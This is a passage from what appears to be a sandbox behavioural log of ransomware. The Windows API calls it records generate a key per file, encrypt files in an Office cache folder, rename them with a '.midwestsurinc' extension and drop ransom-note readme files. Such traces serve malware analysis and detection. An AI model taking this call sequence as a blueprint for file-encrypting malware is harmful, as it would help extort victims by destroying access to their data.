hKey=0x60d2e0, hExpKey=0x606100, dwBlobType=0x1, dwFlags=0x0, pbData=0x107fd60, pdwDataLen=0x174fb1c | out: pbData=0x107fd60*, pdwDataLen=0x174fb1c*=0x20c) returned 1 [0101.153] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0101.153] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10456e8 [0101.153] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x0 [0101.153] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x174fb28*=0) returned 0x0 [0101.153] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xd5600) returned 0x1f50020 [0101.153] ReadFile (in: hFile=0x2e8, lpBuffer=0x1f50020, nNumberOfBytesToRead=0xd5600, lpNumberOfBytesRead=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x1f50020*, lpNumberOfBytesRead=0x174fb28*=0xd5600, lpOverlapped=0x0) returned 1 [0101.171] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xd5600) returned 0x2030020 [0101.202] CryptEncrypt (in: hKey=0x60d2e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2030020*, pdwDataLen=0x174fb24*=0xd5600, dwBufLen=0xd5a00 | out: pbData=0x2030020*, pdwDataLen=0x174fb24*=0xd5610) returned 1 [0101.209] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xd5640) returned 0x2110020 [0101.224] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x0 [0101.224] WriteFile (in: hFile=0x2e8, lpBuffer=0x2110020*, nNumberOfBytesToWrite=0xd5600, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x2110020*, lpNumberOfBytesWritten=0x174fb28*=0xd5600, lpOverlapped=0x0) returned 1 [0101.226] FlushFileBuffers (hFile=0x2e8) returned 1 [0101.233] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8) returned 1 [0101.234] NtClose (Handle=0x2e8) returned 0x0 [0101.238] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.midwestsurinc" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi.midwestsurinc")) returned 1 [0101.239] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.midwestsurinc", dwFileAttributes=0x2020) returned 1 [0101.239] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.midwestsurinc_readme", dwFileAttributes=0x80) returned 0 [0101.239] GetLastError () returned 0x2 [0101.239] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.midwestsurinc_readme" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi.midwestsurinc_readme"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0xf86350, ftLastWriteTime.dwHighDateTime=0x18fe40, nFileSizeHigh=0x0, nFileSizeLow=0x174fb60)) returned 0 [0101.240] GetLastError () returned 0x2 [0101.240] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.midwestsurinc_readme" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi.midwestsurinc_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0101.240] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x174fafc, lpLastWriteTime=0x174fafc) returned 1 [0101.240] WriteFile (in: hFile=0x2e8, lpBuffer=0xf7fe10*, nNumberOfBytesToWrite=0x168, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0xf7fe10*, lpNumberOfBytesWritten=0x174fb28*=0x168, lpOverlapped=0x0) returned 1 [0101.241] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0101.241] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x1b) returned 0x184c620 [0101.242] WriteFile (in: hFile=0x2e8, lpBuffer=0x1030560*, nNumberOfBytesToWrite=0x2f9, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x1030560*, lpNumberOfBytesWritten=0x174fb28*=0x2f9, lpOverlapped=0x0) returned 1 [0101.242] GetFileTime (in: hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fc3c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fc3c*(dwLowDateTime=0x5b4a4d90, dwHighDateTime=0x1d5dff7)) returned 1 [0101.242] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8) returned 1 [0101.242] NtClose (Handle=0x2e8) returned 0x0 [0101.243] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.midwestsurinc_readme", dwFileAttributes=0x2020) returned 1 [0101.243] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1030560) returned 1 [0101.243] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10456e8) returned 1 [0101.243] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x2110020) returned 1 [0101.247] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0101.247] CryptDestroyKey (hKey=0x60d2e0) returned 1 [0101.247] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10451d8) returned 1 [0101.247] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969188) returned 1 [0101.247] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969290) returned 1 [0101.247] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0101.247] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), fInfoLevelId=0x0, lpFileInformation=0x174fb04 | out: lpFileInformation=0x174fb04*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x567)) returned 1 [0101.247] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0101.247] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a05648 [0101.247] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a056d0 [0101.247] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a05648) returned 1 [0101.247] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0101.247] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a056d0) returned 1 [0101.248] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0101.248] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), fInfoLevelId=0x0, lpFileInformation=0x174fb00 | out: lpFileInformation=0x174fb00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x567)) returned 1 [0101.248] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0101.248] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969290 [0101.248] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0101.248] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969188 [0101.248] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0101.248] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x567)) returned 1 [0101.248] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0101.248] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x174fafc, lpLastWriteTime=0x174fafc) returned 1 [0101.248] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0101.248] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0101.248] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0101.249] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0101.249] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10451d8 [0101.249] GetFileTime (in: hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8*(dwLowDateTime=0xfc138cb0, dwHighDateTime=0x1d301be)) returned 1 [0101.249] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10456e8 [0101.249] CryptGenKey (in: hProv=0x601ec8, Algid=0x6610, dwFlags=0x1000001, phKey=0x174fb20 | out: phKey=0x174fb20*=0x60d2e0) returned 1 [0101.249] CryptExportKey (in: hKey=0x60d2e0, hExpKey=0x606100, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x174fb1c | out: pbData=0x0*, pdwDataLen=0x174fb1c*=0x20c) returned 1 [0101.249] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x240) returned 0x107fd60 [0101.249] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10456e8) returned 1 [0101.249] CryptExportKey (in: hKey=0x60d2e0, hExpKey=0x606100, dwBlobType=0x1, dwFlags=0x0, pbData=0x107fd60, pdwDataLen=0x174fb1c | out: pbData=0x107fd60*, pdwDataLen=0x174fb1c*=0x20c) returned 1 [0101.249] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10456e8 [0101.249] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0101.249] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x0 [0101.249] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x174fb28*=0) returned 0x0 [0101.249] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x580) returned 0xfa07a8 [0101.250] ReadFile (in: hFile=0x2e8, lpBuffer=0xfa07a8, nNumberOfBytesToRead=0x567, lpNumberOfBytesRead=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0xfa07a8*, lpNumberOfBytesRead=0x174fb28*=0x567, lpOverlapped=0x0) returned 1 [0101.251] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x580) returned 0x10733c0 [0101.251] CryptEncrypt (in: hKey=0x60d2e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x181a060*, pdwDataLen=0x174fb24*=0x567, dwBufLen=0x967 | out: pbData=0x181a060*, pdwDataLen=0x174fb24*=0x570) returned 1 [0101.251] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x0 [0101.252] WriteFile (in: hFile=0x2e8, lpBuffer=0xfa07a8*, nNumberOfBytesToWrite=0x567, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0xfa07a8*, lpNumberOfBytesWritten=0x174fb28*=0x567, lpOverlapped=0x0) returned 1 [0101.252] FlushFileBuffers (hFile=0x2e8) returned 1 [0101.255] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8) returned 1 [0101.255] NtClose (Handle=0x2e8) returned 0x0 [0101.255] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.midwestsurinc" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml.midwestsurinc")) returned 1 [0101.256] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.midwestsurinc", dwFileAttributes=0x2020) returned 1 [0101.256] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.midwestsurinc_readme", dwFileAttributes=0x80) returned 0 [0101.256] GetLastError () returned 0x2 [0101.256] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.midwestsurinc_readme" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml.midwestsurinc_readme"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0xf86370, ftLastWriteTime.dwHighDateTime=0x18fe40, nFileSizeHigh=0x0, nFileSizeLow=0x174fb60)) returned 0 [0101.256] GetLastError () returned 0x2 [0101.256] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.midwestsurinc_readme" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml.midwestsurinc_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0101.257] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x174fafc, lpLastWriteTime=0x174fafc) returned 1 [0101.257] WriteFile (in: hFile=0x2e8, lpBuffer=0xf7fe10*, nNumberOfBytesToWrite=0x168, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0xf7fe10*, lpNumberOfBytesWritten=0x174fb28*=0x168, lpOverlapped=0x0) returned 1 [0101.257] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10456e8 [0101.257] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xf) returned 0xf7d630 [0101.257] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045730 [0101.258] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d630) returned 1 [0101.258] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045730) returned 1 [0101.258] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x2d1) returned 0x1030560 [0101.258] WriteFile (in: hFile=0x2e8, lpBuffer=0x1030560*, nNumberOfBytesToWrite=0x2ed, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x1030560*, lpNumberOfBytesWritten=0x174fb28*=0x2ed, lpOverlapped=0x0) returned 1 [0101.258] GetFileTime (in: hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fc3c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fc3c*(dwLowDateTime=0x5b4caef0, dwHighDateTime=0x1d5dff7)) returned 1 [0101.258] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8) returned 1 [0101.258] NtClose (Handle=0x2e8) returned 0x0 [0101.259] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.midwestsurinc_readme", dwFileAttributes=0x2020) returned 1 [0101.259] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1030560) returned 1 [0101.259] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0101.259] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa07a8) returned 1 [0101.259] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0101.259] CryptDestroyKey (hKey=0x60d2e0) returned 1 [0101.259] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10451d8) returned 1 [0101.259] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969290) returned 1 [0101.259] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969188) returned 1 [0101.259] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0101.259] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab"), fInfoLevelId=0x0, lpFileInformation=0x174fb04 | out: lpFileInformation=0x174fb04*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc301560, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2cb13b)) returned 1 [0101.259] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0101.259] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a056d0 [0101.259] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a05648 [0101.259] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a056d0) returned 1 [0101.259] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0101.259] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a05648) returned 1 [0101.260] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0101.260] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab"), fInfoLevelId=0x0, lpFileInformation=0x174fb00 | out: lpFileInformation=0x174fb00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc301560, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2cb13b)) returned 1 [0101.260] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0101.260] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969188 [0101.260] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0101.260] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969290 [0101.260] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0101.260] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc301560, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2cb13b)) returned 1 [0101.260] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0101.260] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x174fafc, lpLastWriteTime=0x174fafc) returned 1 [0101.260] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0101.260] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0101.260] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0101.260] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0101.260] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10451d8 [0101.261] GetFileTime (in: hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8*(dwLowDateTime=0xfc301560, dwHighDateTime=0x1d301be)) returned 1 [0101.261] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0101.261] CryptGenKey (in: hProv=0x601ec8, Algid=0x6610, dwFlags=0x1000001, phKey=0x174fb20 | out: phKey=0x174fb20*=0x60d2e0) returned 1 [0101.261] CryptExportKey (in: hKey=0x60d2e0, hExpKey=0x606100, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x174fb1c | out: pbData=0x0*, pdwDataLen=0x174fb1c*=0x20c) returned 1 [0101.261] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x240) returned 0x107fd60 [0101.261] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0101.261] CryptExportKey (in: hKey=0x60d2e0, hExpKey=0x606100, dwBlobType=0x1, dwFlags=0x0, pbData=0x107fd60, pdwDataLen=0x174fb1c | out: pbData=0x107fd60*, pdwDataLen=0x174fb1c*=0x20c) returned 1 [0101.261] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0101.261] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10456e8 [0101.261] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x0 [0101.261] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x174fb28*=0) returned 0x0 [0101.261] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x2cb140) returned 0x1f50020 [0101.262] ReadFile (in: hFile=0x2e8, lpBuffer=0x1f50020, nNumberOfBytesToRead=0x2cb13b, lpNumberOfBytesRead=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x1f50020*, lpNumberOfBytesRead=0x174fb28*=0x2cb13b, lpOverlapped=0x0) returned 1 [0101.345] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x2cb140) returned 0x2220020 [0101.451] CryptEncrypt (in: hKey=0x60d2e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2220020*, pdwDataLen=0x174fb24*=0x2cb13b, dwBufLen=0x2cb53b | out: pbData=0x2220020*, pdwDataLen=0x174fb24*=0x2cb140) returned 1 [0101.486] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x0 [0101.486] WriteFile (in: hFile=0x2e8, lpBuffer=0x1f50020*, nNumberOfBytesToWrite=0x2cb13b, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x1f50020*, 